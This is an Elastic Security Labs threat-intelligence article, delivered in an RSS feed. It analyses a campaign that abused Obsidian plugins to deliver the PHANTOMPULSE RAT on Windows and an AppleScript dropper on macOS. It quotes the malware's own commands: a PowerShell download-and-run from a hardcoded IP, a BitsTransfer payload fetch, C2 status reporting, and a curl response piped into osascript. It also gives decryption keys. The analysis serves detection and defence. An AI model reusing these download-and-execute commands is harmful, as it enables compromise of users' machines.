<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Threat Intelligence</title>
        <link>https://www.elastic.co/kr/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Mon, 13 Apr 2026 16:54:38 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Threat Intelligence</title>
            <url>https://www.elastic.co/kr/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/kr/security-labs</link>
        </image>
        <copyright>© 2026. elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT]]></title>
            <link>https://www.elastic.co/kr/security-labs/phantom-in-the-vault</link>
            <guid>phantom-in-the-vault</guid>
            <pubDate>Tue, 14 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs uncovers a novel social engineering campaign that abuses the popular note-taking application, Obsidian's legitimate community plugin ecosystem. The campaign, which we track as REF6598, targets individuals in the financial and cryptocurrency sectors through elaborate social engineering on LinkedIn and Telegram.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>A follow-up publication will provide a deeper technical analysis of PHANTOMPULSE itself, covering its injection engines, persistence internals, and C2 protocol in greater detail.</p>
</blockquote>
<h2>Preamble</h2>
<p>Elastic Security Labs has identified a novel social engineering campaign that abuses the popular note-taking application, <a href="https://obsidian.md/">Obsidian</a>, as an initial access vector. The campaign, which we track as REF6598, targets individuals in the financial and cryptocurrency sectors through elaborate social engineering on LinkedIn and Telegram. The threat actors abuse Obsidian's legitimate community plugin ecosystem, specifically the <a href="https://github.com/Taitava/obsidian-shellcommands">Shell Commands</a> and <a href="https://github.com/kepano/obsidian-hider">Hider</a> plugins, to silently execute code when a victim opens a shared cloud vault.</p>
<p>In the observed intrusion, Elastic Defend detected and blocked the attack at the early stage, preventing the threat actors from achieving their objectives on the victim's machine.</p>
<p>The attack chain is cross-platform, with dedicated execution paths for both Windows and macOS. On Windows, an intermediate loader decrypts and reflectively loads payloads entirely in memory using AES-256-CBC, timer queue callback execution, and multiple anti-analysis techniques. The chain culminates in the deployment of a previously undocumented RAT we are naming <strong>PHANTOMPULSE</strong>, a heavily AI-generated, full-featured backdoor with blockchain-based C2 resolution, advanced process injection via module stomping. On macOS, the attack deploys an obfuscated AppleScript dropper with a Telegram-based fallback C2 resolution mechanism.</p>
<p>This post will detail the full attack chain, from social engineering through final payload analysis, and provide detection guidance and indicators of compromise.</p>
<h2>Key takeaways</h2>
<ul>
<li>PHANTOMPULSE is a novel, AI-assisted Windows RAT featuring blockchain-based C2 resolution via Ethereum transaction data and distinct injection techniques</li>
<li>We identified a weakness in the C2 mechanism that allows for a takeover of the implants by responders</li>
<li>Obsidian was abused for initial access social engineering attack</li>
<li>Cross-platform attack chain targeting both Windows and macOS</li>
<li>The macOS payload uses a multi-stage AppleScript dropper with a Telegram dead-drop for fallback C2 resolution</li>
<li>PHANTOMPULL is a custom in-memory loader that delivers PHANTOMPULSE</li>
</ul>
<h2>Campaign overview</h2>
<p>The threat actors operate under the guise of a venture capital firm, initiating contact with targets through LinkedIn. After initial engagement, the conversation moves to a Telegram group where multiple purported partners participate, lending credibility to the interaction. The discussion centers around financial services, specifically cryptocurrency liquidity solutions, creating a plausible business context.</p>
<p>The target is asked to use <a href="https://obsidian.md/">Obsidian</a>, presented as the firm's &quot;management database&quot;, for accessing a shared dashboard. The target is provided credentials to connect to a cloud-hosted vault controlled by the attacker.</p>
<p>This vault is the initial access vector. Once opened in Obsidian, the target is instructed to enable community plugins sync. After that, the trojanized plugins silently execute the attack chain.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image16.png" alt="Execution chain diagram" title="Execution chain diagram" /></p>
<h2>Initial access</h2>
<p>An Elastic Defend behavior alert triggered on suspicious PowerShell execution with Obsidian as the parent process. This immediately caught our attention. Initially, we suspected an untrusted binary masquerading as Obsidian. However, after inspecting the parent process code signature and hash, it appeared to be the legitimate Obsidian binary.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image38.png" alt="Process visualization with Elastic XDR" title="Process visualization with Elastic XDR" /></p>
<p>Pivoting on the process event call stack to determine whether a third-party DLL sideload or unbacked memory region was involved, we confirmed that the process creation originated directly from Obsidian itself.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image30.png" alt="Elastic alert document showcasing the call stack" title="Elastic alert document showcasing the call stack" /></p>
<p>We then investigated the surrounding files for signs of JavaScript injection via modification of dependency files or malicious .asar file planting. Everything appeared to be a clean, legitimate Obsidian installation with no third-party code. At that point, we decided to install Obsidian ourselves and explore what options an attacker could abuse to achieve command execution.</p>
<p>The first thing that stood out was the ability to log in to an Obsidian-synced vault with an email and password.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image14.png" alt="Obsidian menu to open a remote vault" title="Obsidian menu to open a remote vault" /></p>
<p>Obsidian's vault sync feature allows notes and files to be synchronized across devices and platforms. While reviewing the files of the malicious remote vault under the .obsidian config folder, we found evidence that the Shell Commands community plugin had been installed:</p>
<pre><code class="language-plaintext">C:\Users\user\Documents\&lt;redacted_vault_name&gt;\.obsidian\plugins\obsidian-shellcommands\data.json
</code></pre>
<p>The <a href="https://publish.obsidian.md/shellcommands/Index">Shell Commands plugin</a> allows users to execute platform-specific shell commands based on configurable triggers such as Obsidian startup, close, every N seconds, and others.</p>
<p>The contents of data.json confirmed our theory: the configured commands matched exactly what we had observed in the original PowerShell behavior alert.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image36.png" alt="Data.json content of the shell plugin" title="Data.json content of the shell plugin" /></p>
<p>To validate the full attack chain, we attempted to replicate the behavior end-to-end across two machines, a host and a VM using a paid Obsidian Sync license. On the host, we installed the Shell Commands community plugin with a custom command configured to spawn <code>notepad.exe</code> on startup. On the VM, we logged in to the same Obsidian account and connected to the remote vault.</p>
<p>The synced vault on the VM received the base configuration files (<code>app.json</code>, <code>appearance.json</code>, <code>core-plugins.json</code>, <code>workspace.json</code>), but notably the <code>plugins/</code> directory and <code>community-plugins.json</code> were absent entirely. This is because Obsidian's Sync settings expose two separate toggles &quot;Active community plugin list&quot; and &quot;Installed community plugins&quot; both of which are disabled by default and are local client-side preferences that do not propagate through sync.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image37.png" alt="Obsidian settings" title="Obsidian settings" /></p>
<p>As shown below, the plugins and community_plugins manifest are not synced automatically (any file inside the .obsidian directory).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image2.png" alt=".obsidian folder content" title=".obsidian folder content" /></p>
<p>However, once enabled, the Shell Commands plugin immediately triggers execution of attacker-defined commands on vault open:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image20.png" alt="Process tree" title="Process tree" /></p>
<p>This means an attacker cannot remotely force the installation or enablement of a community plugin via vault sync alone. The victim must manually enable the community plugin sync on their device before the weaponized plugin configuration pulls down and triggers execution.</p>
<p>In the case we investigated, the attacker provided Obsidian account credentials directly to the victim as part of a social engineering lure, likely instructing them to log in, enable community plugin sync, and connect to the pre-staged vault. Once those steps were completed, the Shell Commands plugin and its data.json configuration synced automatically, and on the next configured trigger, the payload executed without any further interaction.</p>
<p>While this attack requires social engineering to cross the community plugin sync boundary, the technique remains notable: it abuses a legitimate application feature as a persistence and command execution channel, the payload lives entirely within JSON configuration files that are unlikely to trigger traditional AV signatures, and execution is handed off by a signed, trusted Electron application, making parent-process-based detection the critical layer.</p>
<p>Alongside the Shell Commands plugin, the author used <a href="https://github.com/kepano/obsidian-hider">Hider</a> (v1.6.1), a UI-cleanup plugin that hides interface elements. With every concealment option enabled, the following is the configuration:</p>
<pre><code class="language-yaml">{
  &quot;hideStatus&quot;: true,
  &quot;hideTabs&quot;: true,
  &quot;hideScroll&quot;: true,
  &quot;hideSidebarButtons&quot;: true,
  &quot;hideTooltips&quot;: true,
  &quot;hideFileNavButtons&quot;: true,
}
</code></pre>
<h3>Windows execution chain</h3>
<h4>Stage 1</h4>
<p>The Shell Commands plugin's Windows command contained two <code>Invoke-Expression</code> calls with Base64-encoded strings that decode to the following:</p>
<pre><code class="language-Powershell">iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File &quot;env:TEMP\tt.ps1&quot;
</code></pre>
<p>This will download a second-stage PowerShell script from a hardcoded IP address and execute it.</p>
<h4>Stage 2</h4>
<p>The downloaded PowerShell script (<code>script1.ps1</code>) implements a loader-delivery mechanism with a built-in operator-notification system. The script uses <code>BitsTransfer</code> to download the next-stage binary and reports its progress to the C2.</p>
<pre><code class="language-Powershell">Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
  -Destination &quot;$env:TEMP\syncobs.exe&quot;
</code></pre>
<p>After the download, the script verifies the file's existence and reports the outcome to the C2 at <code>195.3.222[.]251/stuk-phase</code>. It appears that the prepended characters (<code>G</code>, <code>R</code>) to the Status Message, declaring <code>G</code>REEN or <code>R</code>ED as a status color code. The following is a table of all the status messages:</p>
<table>
<thead>
<tr>
<th align="center">Status Message</th>
<th align="center">Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center"><code>GFILE FOUND ON PC</code></td>
<td align="center">Binary downloaded successfully</td>
</tr>
<tr>
<td align="center"><code>RDOWNLOAD ERROR</code></td>
<td align="center">Download failed, retrying</td>
</tr>
<tr>
<td align="center"><code>RFATAL DOWNLOAD ERROR</code></td>
<td align="center">Download failed after retry</td>
</tr>
<tr>
<td align="center"><code>GLAUNCH SUCCESS</code></td>
<td align="center">Binary executed and child processes detected</td>
</tr>
<tr>
<td align="center"><code>RLAUNCH FAILED</code></td>
<td align="center">Binary failed to start within the timeout</td>
</tr>
<tr>
<td align="center"><code>GSESSION CLOSED</code></td>
<td align="center">Execution sequence completed</td>
</tr>
</tbody>
</table>
<p>The <code>tag</code> parameter (<code>Obsidian</code>) sent with each status update identifies the campaign or infection vector, suggesting the operators might be running multiple concurrent campaigns.</p>
<pre><code class="language-c">if ($started) {
    Invoke-RestMethod -Uri &quot;http://195.3.222[.]251/stuk-phase&quot; -Method Post -Body @{ message = &quot;GLAUNCH SUCCESS&quot;; tag = $tag }
} else {
    Invoke-RestMethod -Uri &quot;http://195.3.222[.]251/stuk-phase&quot; -Method Post -Body @{ message = &quot;RLAUNCH FAILED&quot;; tag = $tag }
}
Start-Sleep -Seconds 3

Invoke-RestMethod -Uri &quot;http://195.3.222[.]251/stuk-phase&quot; -Method Post -Body @{ message = &quot;GSESSION CLOSED&quot;; tag = $tag }
</code></pre>
<h4>Loader - PHANTOMPULL</h4>
<p>This loader is a 64-bit Windows PE executable that extracts an AES-256-CBC-encrypted PE payload from its own resources, decrypts it, and reflectively loads it into memory. This in-memory payload then downloads the next stage from the domain (<code>panel.fefea22134[.]net</code>) over HTTPS.</p>
<p>The third-stage payload (PHANTOMPULSE) is then decrypted and loaded reflectively via <code>DllRegisterServer</code>. This loader, which we are calling PHANTOMPULL, includes runtime API resolution and timer-queue-based execution. This sample includes minor forms of evasion/obfuscation, along with dead code; these techniques are used as an anti-analysis trick to waste the analyst's time investigating the malware.</p>
<h3>Execution Flow</h3>
<h4>Stage 1</h4>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image25.png" alt="Execution flow via Stage 1" title="Execution flow via Stage 1" /></p>
<h4>Stage 2</h4>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image29.png" alt="Execution flow via Stage 2" title="Execution flow via Stage 2" /></p>
<h3>Fake Integrity Check</h3>
<p>The loader begins with a strange start using a dead-code guard that compares <code>GetTickCount()</code> against the hex value (<code>0xFFFFFFFE</code>) — a value that corresponds to approximately 49.7 days of continuous system uptime, making the condition virtually unreachable. The guarded block contains convincing but unreachable anti-tamper functions designed to waste analysts' time during reverse engineering.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image23.png" alt="Fake Integrity check" title="Fake Integrity check" /></p>
<p>The  <code>anti_tamper_integrity_checksum()</code> function is also pretty strange; it doesn’t actually hash any of the underlying bytes, but sums all the function addresses in the binary. The checksum is never compared to anything; this is likely an intended anti-analysis technique to waste analyst time and bloat the binary.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image1.png" alt="Integrity check summing up the function addresses" title="Integrity check summing up the function addresses" /></p>
<h3>API Hashing</h3>
<p>This loader resolves API functions dynamically at runtime using the <code>djb2</code> hashing algorithm with seed <code>0x4E67C6A7</code>. The following APIs were resolved:</p>
<ul>
<li><code>VirtualAlloc</code></li>
<li><code>VirtualProtect</code></li>
<li><code>VirtualFree</code></li>
<li><code>LoadLibraryA</code></li>
<li><code>GetProcessAddress</code></li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image40.png" alt="Resolving API addresses" title="Resolving API addresses" /></p>
<h3>Resource Extraction + Decryption</h3>
<p>PHANTOMPULL stores its encrypted in-memory payload inside its own resources.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image42.png" alt="RCDATA 101 via Resource Hacker" title="RCDATA 101 via Resource Hacker" /></p>
<p>In order to extract the bytes, it uses <code>FindResourceA,</code> locating the resource type (<code>RT_RCDATA</code>) under ID (<code>101</code>). The resource is mapped into memory and copied into a region marked with <code>PAGE_READWRITE</code> permissions.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image33.png" alt="Resource Extraction" title="Resource Extraction" /></p>
<p>Next, the loader performs AES-256-CBC decryption using <code>BCryptOpenAlgorithmProvider</code>. The key is hardcoded in the <code>.rdata</code> section</p>
<p><strong>Key:</strong>  <code>6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206</code></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image27.png" alt="Embedded AES-256-CBC key" title="Embedded AES-256-CBC key" /></p>
<p>The IV is also hard-coded on the stack: <code>A6FA4ADFC20E8E6B77E2DD631DC8FF18</code><br />
<img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image7.png" alt="Bcrypt Crypto Details" title="Bcrypt Crypto Details" /></p>
<p>After decryption, the loader validates the output is a valid PE by checking the MZ header magic value with a comparison instruction using a hard-coded value (<code>0x0C1DF</code>) that gets XOR’d with (<code>0x9B92</code>), equaling the PE magic header (0x5a4d). This is an example of some of the lightweight obfuscation efforts that often seem awkward and don't fit in.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image4.png" alt="Magic Header XOR calculation" title="Magic Header XOR calculation" /></p>
<h3>Execution</h3>
<p>Rather than calling the payload directly (which is easily detected by sandboxes), the loader uses a timer queue callback. The 50ms delay and separate-thread execution can evade various security/sandbox tooling.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image9.png" alt="CreateTimerQueue functionality" title="CreateTimerQueue functionality" /></p>
<p>Inside the callback is the reflective PE-loading functionality, which is then used to execute the next stage.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image11.png" alt="Timer callback calling reflective PE loader" title="Timer callback calling reflective PE loader" /></p>
<p>This reflective loading function is the core execution component. It copies the PE headers, maps each section into memory, applies base relocations, resolves imports, and sets the final section protections — producing a fully functional, memory-resident PE that never touches disk.</p>
<p>Execution is then transferred to the second stage via an indirect <code>call rbp</code> instruction, where RBP holds the computed entry point address of the reflectively loaded PE.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image26.png" alt="Indirect call to second stage" title="Indirect call to second stage" /></p>
<h3>Second Stage</h3>
<p>The second stage is responsible for downloading the remotely hosted payload (PHANTOMPULSE) and for using a similar reflective-loading technique to launch the implant. This stage starts by creating a mutex from an XOR operation with two hard-coded global variables.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image6.png" alt="Mutex generation via XOR" title="Mutex generation via XOR" /></p>
<p>The mutex name for this sample is: <code>hVNBUORXNiFLhYYh</code></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image28.png" alt="Observed Mutex" title="Observed Mutex" /></p>
<p>After the mutex is created, this code enters a persistent loop that attempts to download the payload from the C2 server. If the download successfully returns a valid buffer, it breaks out and proceeds to the reflective loading stage.</p>
<p>On failure, the code employs an exponential backoff — starting with a 5-second sleep and multiplying by 1.5x on each retry, capping just under 5 minutes. This avoids a fixed beacon interval that would be trivially fingerprinted in network traffic.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image22.png" alt="Download and timeout functionality" title="Download and timeout functionality" /></p>
<p>The downloader functionality starts by decrypting the C2 and URL.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image35.png" alt="C2 and URL decryption functions" title="C2 and URL decryption functions" /></p>
<p>The C2 and URL are both decrypted using a simple string decryption function using a 16-byte rotating key (<code>f77c8e40dfc17be5e74d8679d5b35341</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image5.png" alt="XOR String decryption function" title="XOR String decryption function" /></p>
<p>Next, the malware builds the HTTPS request, appending the string using the URI <code>/v1/updates/check?build=payloads</code> and setting the User Agent (<code>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36</code>). This loader uses the WinHTTP library to connect to the C2 on port <code>443</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image34.png" alt="WinHTTP functionality used to download PHANTOMPULSE" title="WinHTTP functionality used to download PHANTOMPULSE" /></p>
<p>The malware takes the buffer from the remote C2 URL and decrypts the payload with a 16-byte XOR key (<code>dcf5a9b27cbeedb769ccc8635d204af9</code>)</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image19.png" alt="Payload Decryption via XOR" title="Payload Decryption via XOR" /></p>
<p>Below are the first bytes of the XOR-encoded payload:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image24.png" alt="Payload bytes before the XOR" title="Payload bytes before the XOR" /></p>
<p>Below are the first bytes after the XOR takes place:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image3.png" alt="Payload bytes after the XOR" title="Payload bytes after the XOR" /></p>
<p>After the download and XOR operations, PHANTOMPULL parses the payload and reflects the DLL using <code>DLLRegisterServer</code>.</p>
<p>By quickly checking the strings, we can see the main backdoor, PHANTOMPULSE:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image18.png" alt="PHANTONPULSE Implant strings" title="PHANTONPULSE Implant strings" /></p>
<h3>RAT - PHANTOMPULSE</h3>
<p>PHANTOMPULSE is a sophisticated 64-bit Windows RAT designed for stealth, resilience, and comprehensive remote access. The binary exhibits strong indicators of AI-assisted development: Debug strings throughout the code are abnormally verbose, self-documenting, and follow a structured step-numbering pattern (<code>[STEP 1]</code>, <code>[STEP 1/3]</code>, <code>[STEP 2/3]</code>)</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image13.png" alt="PHANTOMPULSE implant or strings view" title="PHANTOMPULSE implant or strings view" /></p>
<p>During our research, we discovered that the C2 infrastructure had a publicly exposed panel branded as <code>“Phantom Panel&quot;</code>, featuring a login page with username, password, and captcha fields. The panel's design and structure suggest it was also AI-generated, consistent with the development patterns observed in the RAT itself.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image15.png" alt="Malware panel" title="Malware panel" /></p>
<h4>C2 rotation through blockchain</h4>
<p>PHANTOMPULSE implements a decentralized C2 resolution mechanism using public blockchain infrastructure as a dead drop. The malware's primary method for obtaining its C2 URL is by resolving it from on-chain transaction data. A hardcoded C2 URL serves as a fallback if the blockchain resolution fails after repeated attempts.</p>
<p>The malware queries the Etherscan-compatible API (<code>/api?module=account&amp;action=txlist&amp;address=&lt;wallet&gt;&amp;page=1&amp;offset=1&amp;sort=desc</code>) on three Blockscout instances:</p>
<ul>
<li><code>eth.blockscout[.]com</code> (Ethereum L1)</li>
<li><code>base.blockscout[.]com</code> (Base L2)</li>
<li><code>optimism.blockscout[.]com</code> (Optimism L2)</li>
</ul>
<p>Each request fetches the most recent transaction associated with a hardcoded wallet address (<code>0xc117688c530b660e15085bF3A2B664117d8672aA</code>), which is itself XOR-encrypted in the binary. The malware parses the transaction's <code>input</code> data field from the JSON response, strips the <code>0x</code> prefix, hex-decodes the raw bytes, and XOR-decrypts the result using the wallet address as the XOR key. If the decrypted output begins with <code>http</code>, it is accepted as the new active C2 URL.</p>
<p>This technique provides the operator with an infrastructure-agnostic rotation capability: publishing a new C2 endpoint requires only submitting a transaction with crafted calldata to the wallet on any of the three monitored chains. Because blockchain transactions are immutable and publicly accessible, the malware can always locate its C2 without relying on centralized infrastructure. The use of three independent chains adds redundancy: even if one chain's explorer is blocked or unavailable, the remaining two provide alternative resolution paths.</p>
<p>However, this design introduces a significant weakness. The Blockscout API returns all transactions involving the wallet address, both sent and received, sorted in reverse chronological order. The malware does not verify the sender of the transaction. This means any third party who knows the wallet address and the XOR key (both recoverable from the binary) can craft a transaction to the wallet containing a competing input payload. Because the malware always selects the most recent transaction, a single inbound transaction with a more recent timestamp would override the operator's intended C2 URL. In practice, this allows anyone to hijack the C2 resolution by submitting a sinkhole URL encoded with the same XOR scheme, effectively redirecting all infected hosts away from the attacker infrastructure.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image21.png" alt="Wallet transaction example" title="Wallet transaction example" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image41.png" alt="Xor decrypting the raw input" title="Xor decrypting the raw input" /></p>
<h4>C2 communication</h4>
<p>PHANTOMPULSE uses WinHTTP for C2 communication, dynamically loading <code>winhttp.dll</code> and resolving all required functions at runtime. The C2 infrastructure is built around five API endpoints:</p>
<table>
<thead>
<tr>
<th>Endpoint</th>
<th>Method</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/v1/telemetry/report</code></td>
<td>POST</td>
<td>Heartbeat with system telemetry</td>
</tr>
<tr>
<td><code>/v1/telemetry/tasks/&lt;id&gt;</code></td>
<td>GET</td>
<td>Command fetch</td>
</tr>
<tr>
<td><code>/v1/telemetry/upload/</code></td>
<td>POST</td>
<td>Screenshot/file upload</td>
</tr>
<tr>
<td><code>/v1/telemetry/result</code></td>
<td>POST</td>
<td>Command result delivery</td>
</tr>
<tr>
<td><code>/v1/telemetry/keylog/</code></td>
<td>POST</td>
<td>Keylog data upload</td>
</tr>
</tbody>
</table>
<p>The heartbeat sends comprehensive system telemetry as JSON, including CPU model, GPU, RAM, OS version, username, privilege level, public IP, installed AV products, installed applications, and the results of the last command execution.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image31.png" alt="System information collection" title="System information collection" /></p>
<h4>Command table</h4>
<p>The command dispatcher parses JSON responses from the C2 to extract and hash commands via the <code>djb2</code> algorithm. This hash is processed by a switch-case statement to execute the corresponding logic, as seen in the pseudocode below:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image32.png" alt="Pseudocode command dispatcher" title="Pseudocode command dispatcher" /></p>
<table>
<thead>
<tr>
<th>Hash</th>
<th>Command</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>0x04CF1142</code></td>
<td><code>inject</code></td>
<td>Inject shellcode/DLL/EXE into target process</td>
</tr>
<tr>
<td><code>0x7C95D91A</code></td>
<td><code>drop</code></td>
<td>Drop the file to the disk and execute</td>
</tr>
<tr>
<td><code>0x9A37F083</code></td>
<td><code>screenshot</code></td>
<td>Capture and upload a screenshot</td>
</tr>
<tr>
<td><code>0x08DEDEF0</code></td>
<td><code>keylog</code></td>
<td>Start/stop keylogger</td>
</tr>
<tr>
<td><code>0x4EE251FF</code></td>
<td><code>uninstall</code></td>
<td>Full persistence removal and cleanup</td>
</tr>
<tr>
<td><code>0x65CCC50B</code></td>
<td><code>elevate</code></td>
<td>Escalate to SYSTEM via COM elevation moniker</td>
</tr>
<tr>
<td><code>0xB3B5B880</code></td>
<td><code>downgrade</code></td>
<td>SYSTEM -&gt; elevated admin transition</td>
</tr>
<tr>
<td><code>0x20CE3BC8</code></td>
<td><code>&lt;unresolved&gt;</code></td>
<td>Resolves APIs, calls ExitProcess(0) self-termination</td>
</tr>
</tbody>
</table>
<h3>MacOS execution chain</h3>
<h4>Stage 1: AppleScript via osascript</h4>
<p>The Shell commands plugin's macOS command executes a Base64-encoded payload through <code>osascript</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image10.png" alt="MacOS stage 1 payload" title="MacOS stage 1 payload" /></p>
<p>The decoded payload performs two primary actions:</p>
<p><strong>LaunchAgent persistence</strong>: Creates a persistent LaunchAgent plist at <code>~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist</code> configured with <code>KeepAlive</code> and <code>RunAtLoad</code> set to <code>true</code>, ensuring the second-stage payload executes on every login and restarts if terminated.</p>
<p><strong>Second-stage execution</strong>: The LaunchAgent executes a heavily obfuscated AppleScript dropper through <code>/bin/bash -c</code> piped into <code>osascript</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image12.png" alt="MacOS stage 1 payload decoded" title="MacOS stage 1 payload decoded" /></p>
<h4>Stage 2: Obfuscated AppleScript dropper</h4>
<p>The second-stage payload is an obfuscated AppleScript dropper that employs multiple evasion techniques.</p>
<p><strong>String obfuscation</strong>: All sensitive strings (domains, URLs, user-agent values) are constructed at runtime using <code>ASCII character</code>, <code>character id</code>, and <code>string id</code> calls, preventing static string extraction:</p>
<pre><code>property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: &quot;0x666.info&quot;
</code></pre>
<p><strong>Decoy variables</strong>: Numerous unused variables with random names and values are defined to increase entropy and hinder analysis.</p>
<p><strong>Fragmented concatenation</strong>: Strings are split across mixed encoding methods, combining literal fragments with character-ID lookups to defeat pattern matching.</p>
<h4>C2 resolution with Telegram fallback</h4>
<p>The dropper implements a layered C2 resolution strategy:</p>
<ol>
<li><strong>Primary</strong>: Iterates over a hardcoded domain list (including <code>0x666[.]info</code>), sending a POST request with body <code>&quot;check&quot;</code> to validate C2 availability</li>
<li><strong>Fallback</strong>: If the primary domain is unreachable, scrapes a public Telegram channel (<code>t[.]me/ax03bot</code>) to extract a backup domain<br />
<img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image8.png" alt="Backup Domain" title="Backup Domain" /></li>
</ol>
<p>This Telegram dead-drop technique allows operators to rotate C2 infrastructure, making domain-based blocking insufficient as a sole mitigation.</p>
<h4>Payload retrieval</h4>
<p>Once a C2 is resolved, the script downloads and pipes a second-stage payload directly into <code>osascript</code>:</p>
<pre><code>curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST &lt;C2_URL&gt; \
  -H &quot;User-Agent: &lt;spoofed Chrome UA&gt;&quot;-d &quot;txid=346272f0582541ae5dd08429bb4dc4ff&amp;bmodule&quot;| osascript
</code></pre>
<p>The victim identifier (<code>txid</code>) and module selector (<code>bmodule</code>) are sent as POST parameters. The response is expected to be another AppleScript payload executed immediately. At the time of analysis, the C2 servers for the macOS chain were offline, preventing the collection of subsequent stages.</p>
<h3>Infrastructure analysis</h3>
<h4>Wallet activity</h4>
<p>Examining the on-chain activity for the hardcoded wallet (<code>0xc117688c530b660e15085bF3A2B664117d8672aA</code>) reveals the operator's C2 rotation history. The two most recent transactions are self-transfers (wallet to itself), each encoding a different C2 URL in the transaction input data:</p>
<table>
<thead>
<tr>
<th>Date (UTC)</th>
<th>Decoded C2 URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Feb 19, 2026 12:29:47</code></td>
<td><code>https://panel.fefea22134[.]net</code></td>
</tr>
<tr>
<td><code>Feb 12, 2026 22:01:59</code></td>
<td><code>https://thoroughly-publisher-troy-clara[.]trycloudflare[.]com</code></td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image17.png" alt="Transaction history" title="Transaction history" /></p>
<p>The use of a Cloudflare Tunnel domain (<code>trycloudflare[.]com</code>) as a prior C2 endpoint is notable, as it allows the operator to expose a local server through Cloudflare's infrastructure without registering a domain, providing an additional layer of anonymity.</p>
<p>The wallet was initially funded on Feb 12, 2026, at 21:39:47 UTC by a separate account (<code>0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E</code>) with a transfer of $5.84 and an empty input field (<code>0x</code>), confirming this was purely a funding transaction. The funding wallet itself has conducted approximately 50 transactions over the past three months, which provides a potential pivot point for uncovering additional campaigns operated by the same threat actor.</p>
